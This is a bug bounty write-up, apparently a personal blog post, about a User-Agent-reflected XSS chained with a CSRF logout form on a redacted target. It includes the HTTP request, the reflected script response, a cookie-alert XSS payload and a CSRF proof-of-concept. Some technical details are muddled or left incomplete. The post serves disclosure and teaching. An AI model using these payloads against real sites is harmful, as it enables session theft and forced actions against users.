Embedded Files
This was an interesting bug I found some time ago. From basically an out of scope issue I was able to convert this as in scope issue. This was reported to a private program. This issue was resolved and rewarded with a bounty.
I was testing www.target.com and intercepting endpoints through Burpsuite. While doing this I noticed that that manipulating the User Agent parameter allowed to reflect users input in the Document Object Model. Which means whatever I was giving at the User Agent parameter embedding with it was reflected in the response.
Request
---------------------------------------
GET /endpoint HTTP/1.1
Host: www.target.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36[user-input]
Connection: close
-----------------------------------------
So, for this request I was getting a response like below. where my input was reflected through the DOM in the scripting part.
Response
----------------------------------------------
<script>
var incomingDataLayer = [{"p":{"t":"Other","pl":"framework-mvc","v":"f016ec5"},"d":{"ck":"a17744ba-1248-4df4-b869-898e67ea33bf","s_ck":"884297a3-9ffc-47ca-897a-207cb92a7bc0","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36bbwcd[user-input]","ref":"(NULL)"},"u":{"li":true,"huid":"16E7286041D61077EFFE46E4395BFB61","hue":"GTKLc2uc7cstBCvJe8Wvh3pJrlJ5jS6Hjl2IaogsWZZYo79CAxsZPv2KMxiAXwzFenMbkMJhYUtt29ksjGvg","at":"Private","by":2020,"g":"female","l":{"pcid":"0"},"tg":{"stg":""},"roles":[],"nemid":false}},{"bfb_env":"PROD"}];
//Perform a gentle transition to the new datalayer by appending if it already exists.
var dataLayerToModify = window.dataLayer || [];
for (var i = 0; i < incomingDataLayer.length; i++) {
dataLayerToModify.push(incomingDataLayer[i]);
}
window.dataLayer = dataLayerToModify;
</script>
<script src="//cdn.optimizely.com/js/200880799.js"></script>
----------------------------------------------
so basically I was looking at a XSS Bug, where I provided a simple XSS payload to see the result, and I got XSS popup.
<embed></script><script>alert(document.cookie)</script></embed>
Well, I reported this to the security team and they actually categorized this as SELF XSS and asked a real attack scenery to leverage this.
I noticed that there was no server side validation for the request, meaning it was both working when I was authenticated to the application as also viewing from public. and only was I could leverage this one if a CSRF was there, because It wasn't a proper reflected XSS. I simply just tried a CSRF poc from another browser to a separate account when I am logged in .
CSRF POC:
-----------------------------------------------
<html>
<body>
<script>document.pushState('', '', '/')</script>
<form action="https://www.target.com/endpoint/log-out">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
-----------------------------------------------
Basically I was able to use this to make user log out from the application and navigate to another malicious site with external scripting and also steal cookie information to export this to third party. This was due to a javasciprt used in the application was passing user input to a location parameter to cause the XSS, where actually the user input from the user agent should have been sanitized to plain text stripping the tags.
Data was read from window.location.hash and passed to $() via the following statements -
Technically making this a DOM Based XSS of Stored Type, because without directly injecting into the application I was actually injecting the Client side request and making the user execute it for them. I replied to the security team with impact and additional information.
So the XSS basically worked like this
After overall assessment the team said to me that this works for specific browsers only, though I was able to verify this with Mozilla Firefox, it was categorized as a Medium severity issue and resulted in relatively three digit bounty for DOM XSS. Though I was happy because relatively It would have been an out of scope issue, and I converted it to DOM Based XSS with CSRF.
Takeaways:
1. Check server side Request parameters.
2. Chain vulnerabilities before reporting.
3. Maximize the impact which helps in Bounty decision.
If you have any questions or concern leave me a comment ! Thanks for reading
Google Sites
Report abuse